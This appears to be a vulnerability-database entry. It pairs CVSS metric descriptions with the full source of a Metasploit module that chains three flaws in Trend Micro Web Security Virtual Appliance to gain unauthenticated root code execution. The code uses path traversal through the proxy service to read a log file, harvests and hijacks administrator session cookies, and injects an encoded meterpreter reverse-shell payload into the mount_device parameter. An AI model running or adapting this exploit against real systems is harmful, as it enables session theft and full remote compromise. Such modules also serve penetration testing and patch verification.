The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Trend Micro Web Security (Virtual Appliance) Remote Code Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Trend Micro Web Security (Virtual Appliance) Remote Code Execution',
'Description' => %q{
This module exploits multiple vulnerabilities together in order to achive a remote code execution.
Unauthenticated users can execute a terminal command under the context of the root user.
The specific flaw exists within the LogSettingHandler class of administrator interface software.
When parsing the mount_device parameter, the process does not properly validate a user-supplied string
before using it to execute a system call. An attacker can leverage this vulnerability to execute code in
the context of root. But authentication is required to exploit this vulnerability.
Another specific flaw exist within the proxy service, which listens on port 8080 by default. Unauthenticated users
can exploit this vulnerability in order to communicate with internal services in the product.
Last but not least a flaw exists within the Apache Solr application, which is installed within the product.
When parsing the file parameter, the process does not properly validate a user-supplied path prior to using it in file operations.
An attacker can leverage this vulnerability to disclose information in the context of the IWSS user.
Due to combination of these vulnerabilities, unauthenticated users can execute a terminal command under the context of the root user.
Version perior to 6.5 SP2 Patch 4 (Build 1901) are affected.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mehmet Ince <[email protected]>' # discovery & msf module
],
'References' =>
[
['CVE', '2020-8604'],
['CVE', '2020-8605'],
['CVE', '2020-8606'],
['ZDI', '20-676'],
['ZDI', '20-677'],
['ZDI', '20-678']
],
'Privileged' => true,
'DefaultOptions' =>
{
'SSL' => true,
'payload' => 'python/meterpreter/reverse_tcp',
'WfsDelay' => 30
},
'Payload' =>
{
'Compat' =>
{
'ConnectionType' => '-bind'
}
},
'Platform' => ['python'],
'Arch' => ARCH_PYTHON,
'Targets' => [ ['Automatic', {}] ],
'DisclosureDate' => '2020-06-10',
'DefaultTarget' => 0,
'Notes' =>
{
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
Opt::RPORT(8443),
OptInt.new('PROXY_PORT', [true, 'Port number of Trend Micro Web Filter Proxy service', 8080])
]
)
end
def hijack_cookie
# Updating SSL and RPORT in order to communicate with HTTP proxy service.
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end
port_restore = datastore['RPORT']
datastore['RPORT'] = datastore['PROXY_PORT']
@jsessionid = ''
# We are exploiting proxy service vulnerability in order to fetch content of catalina.out file
print_status('Trying to extract session ID by exploiting reverse proxy service')
res = send_request_cgi({
'method' => 'GET',
'uri' => "http://#{datastore['RHOST']}:8983/solr/collection0/replication",
'vars_get' => {
'command' => 'filecontent',
'wt' => 'filestream',
'generation' => 1,
'file' => '../' * 7 << 'var/iwss/tomcat/logs/catalina.out'
}
})
# Restore variables and validate extracted sessionid
datastore['SSL'] = true if ssl_restore
datastore['RPORT'] = port_restore
# Routine check on res object
unless res
fail_with(Failure::Unreachable, 'Target is unreachable.')
end
# If the res code is not 200 that means proxy service is not vulnerable.
unless res.code == 200
@jsessionid = -1
return
end
# Now we are going to extract all JESSIONID from log file and store them in array.
cookies = res.body.scan(/CheckUserLogon sessionid : (.*)/).flatten
if cookies.empty?
@jsessionid = 0
print_error('System is vulnerable, however a user session was not detected and is therefore unexploitable. Retry after a user logs in.')
return
end
print_good("Extracted number of JSESSIONID: #{cookies.length}")
# We gotta switch back to adminsitrator interface port instead of proxy service. Restore rport and ssl variables.
datastore['SSL'] = true if ssl_restore
datastore['RPORT'] = port_restore
# Latest cookie in the log file is the one most probably active. So that we use reverse on array.
cookies.reverse.each_with_index do |cookie, index|
print_status("Testing JSESSIONID ##{index} : #{cookie}")
# This endpoints is basically check session :)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('rest', 'commonlog', 'get_sessionID'),
'cookie' => "JSESSIONID=#{cookie}"
})
# Routine res check
unless res
fail_with(Failure::UnexpectedReply, 'Target is unreachable.')
end
# If the cookie is active !
if res.code == 200 && res.body.include?('session_flag')
print_good("Awesome!!! JESSIONID ##{index} is active.")
@jsessionid = cookie
break
end
print_warning("JSESSIONID ##{index} is inactive! Moving to the next one.")
end
if @jsessionid.empty?
print_error('System is vulnerable, however extracted cookies are not valid! Please wait for a user or admin to login.')
end
end
def check
#
# @jsessionid can be one of the following value
#
# -1 = Proxy service is not vulnerable, which means we'r not gonna
# be able to read catalina.out
#
# 0 = Proxy service is vulnerable, but catalina.out does not contain any
# jessionid string yet !
#
# empty = Proxy service is vulnerable, but jessionid within log file but
# none of them are valid:(
#
# string = Proxy service is vulnerable and sessionid is valid !
#
hijack_cookie
if @jsessionid == -1
CheckCode::Safe
else
CheckCode::Vulnerable
end
end
def exploit
unless check == CheckCode::Vulnerable
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
#
# 0 => Proxy service is vulnerable, but catalina.out does not contain any
# jessionid string yet !
#
# empty => Proxy service is vulnerable, but jessionid within log file but
# none of them are valid:(
#
if @jsessionid.empty? || @jessionid == 0
fail_with Failure::NoAccess, ''
end
print_status('Exploiting command injection vulnerability')
# Yet another app specific bypass is going on here.
# It's so buggy to make the cmd payloads work under the following circumstances (Weak blacklisting, double escaping etc)
# For that reason, I am planting our payload dropper within the perl command.
cmd = "python -c \"#{payload.encoded}\""
final_payload = cmd.to_s.unpack1('H*')
p = "perl -e 'system(pack(qq,H#{final_payload.length},,qq,#{final_payload},))'"
vars_post = {
mount_device: "mount $(#{p}) /var/offload",
cmd: 'mount'
}
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'rest', 'commonlog', 'log_setting', 'mount_device'),
'cookie' => "JSESSIONID=#{@jsessionid}",
'ctype' => 'application/json',
'data' => vars_post.to_json
})
end
end
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